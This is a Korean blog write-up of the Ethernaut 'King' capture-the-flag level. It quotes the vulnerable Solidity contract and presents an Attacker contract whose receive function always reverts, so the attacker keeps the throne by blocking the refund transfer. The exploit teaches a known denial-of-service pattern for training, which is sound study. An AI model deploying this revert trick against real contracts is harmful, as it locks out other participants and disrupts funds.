Write Up/Ethernaut

[Ethernaut] King

Rhenus 2023. 2. 7. 14:30
반응형

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

우리의 mission은 king이 되는 것이다.

hint를 보면 왕은 현재의 상금보다 더 많은 상금을 내면 왕이 된다. 우리가 instance를 제출하면 다시 level이 쿠데타를 일으켜 왕권을 탈취한다고 나와있다.

현재 owner랑 king은 level이고 금액은 0.001 ether이다.

그럼 우리는 > 0.001 ether 의 금액을 지불하면 탈취할 수 있다.

0.002 ether를 지불 하니까 King이 되었다.

하지만 Submit을 다시 탈취당하는 것을 확인할 수 있다.

이 문제를 도식화 해보면 contract에서 0.002 ether를 주면 해당 contract가 king이 된다.

그리고 Submit Contract를 하면 0 ether를 보내면서 msg.sender == owner를 만족하여 owner가 king 된다.

이렇게 보면 > 0.001 ether를 보내고 Submit을 하기 전까지 king은 내 Contract 가 된다.

그럼 악의적인 Contract가 0.002 ether를 보내 왕권을 탈취하고 owner가 다시 call을 할 때 그 call을 무시하면 어떻게 될까??

이렇게 외부에서 call이 오면 error를 일으키면 왕권을 유지할 수 있다.

contract Attacker{
    
    King king;
    constructor(address payable _address) {
        king = King(_address);
    }
    
    function Attack() public payable {
        (bool sent, ) = address(king).call{value : msg.value}("");
        require(sent, "Failed send To ether");
    }

    receive() payable external{
        revert();
    }
}

0.002 ether를 value로 주고 Attack 하면 왕권을 탈취할 수 있다.

반응형